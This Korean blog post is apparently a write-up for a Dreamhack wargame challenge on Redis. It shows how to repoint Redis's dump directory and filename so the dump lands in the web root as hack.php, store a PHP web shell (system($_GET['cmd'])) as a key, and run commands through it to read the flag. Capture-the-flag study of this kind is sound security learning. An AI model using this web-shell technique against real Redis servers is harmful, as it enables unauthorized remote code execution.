본문 바로가기
프로그래밍/해킹

phpMyRedis

by 만디기 2024. 7. 3.

문제 : https://dreamhack.io/wargame/challenges/420

 

해결 : redis는 굉장히 빠른 속도가 장점인데, 그 비결은 바로 메모리에 정보를 저장하기 때문이다.

하지만 휘발성이 높은 메모리이기에 일정 시간마다 정보를 디스크에 저장한다.

- 코드의 config.php를 보면, get/set으로 config 값을 조회/설정할 수 있다.

1. config 페이지에서 현재 설정값을 확인
※ 주요 설정값
dir : 작업 디렉토리
save : save <seconds> <changes>, 지정된 시간(초) 동안 지정된 개수 이상의 키가 변경되면 DB(메모리)에 있는 전체 데이터를 디스크에 저장한다.
dbfilename : RDB 파일 이름을 지정한다.

- dir : {"dir":"\/var\/www\/html"}
- save : {"save":"3600 1 300 100 60 10000"} # 3600초 동안 적어도 1개, 300초 동안 적어도 100개, 60초 동안 적어도 10000개의 key가 변경되면 데이터를 디스크에 저장한다.
- dbfilename : {"dbfilename":"dump.rdb"}


2. config 페이지에서 설정값 변경
save 10 1
dbfilename hack.php # 나중에 스크립트 실행을 위해 .php로 저장

3. command 페이지에서 스크립트 저장(php 시스템 명령어 실행 : system("명령어"))
return redis.call("set","test","<?php system($_GET['cmd']); ?>");

4. dump.rdb 파일을 확인해보면, 3. 에서 저장한 스크립트가 존재함을 확인할 수 있다.
5. /hack.php 접속하여 cmd 매개변수 지정하고 flag 확인 가능